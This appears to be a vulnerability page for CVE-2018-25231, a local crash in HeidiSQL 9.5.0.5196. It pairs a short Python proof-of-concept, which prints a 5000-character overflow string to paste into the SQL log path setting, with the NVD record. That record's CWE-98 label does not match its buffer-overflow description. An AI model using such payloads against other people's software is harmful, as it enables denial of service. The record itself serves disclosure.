CVE-2018-25231

# Proof of Concept (PoC) for CVE-2018-25231 # This script generates the malicious payload to crash HeidiSQL via the logging path field. # Usage: Copy the payload and paste it into Preferences > Logging > SQL Log File path. def generate_payload(length=5000): # Generate a long string of 'A' to trigger the buffer overflow return "A" * length if __name__ == "__main__": # Generate a payload of 5000 characters exploit_payload = generate_payload(5000) print(f"Payload generated: {exploit_payload[:50]}... (Length: {len(exploit_payload)})") print("Paste this into the HeidiSQL Logging preference field to trigger the crash.")

{"cve": {"id": "CVE-2018-25231", "sourceIdentifier": "[email protected]", "published": "2026-03-30T12:16:16.860", "lastModified": "2026-04-08T17:27:35.193", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HeidiSQL 9.5.0.5196 contains a denial of service vulnerability that allows local attackers to crash the application by supplying an excessively long file path in the logging preferences. Attackers can input a buffer-overflow payload through the SQL log file path field in Preferences > Logging to trigger an application crash."}, {"lang": "es", "value": "HeidiSQL 9.5.0.5196 contiene una vulnerabilidad de denegación de servicio que permite a atacantes locales bloquear la aplicación al proporcionar una ruta de archivo excesivamente larga en las preferencias de registro. Los atacantes pueden introducir una carga útil de desbordamiento de búfer a través del campo de ruta del archivo de registro SQL en Preferencias > Registro para provocar un bloqueo de la aplicación."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:heidisql:heidisql:*:*:*:*:*:*:*:*", "versionEndIncluding": "9.5.0.5196", "matchCriteriaId": "6649322C-0561-4E8C-B8B5-AEC6658B9DC8"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/45806", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.heidisql.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.heidisql.com/download.php", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/heidisql-denial-of-service-via-preferences", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}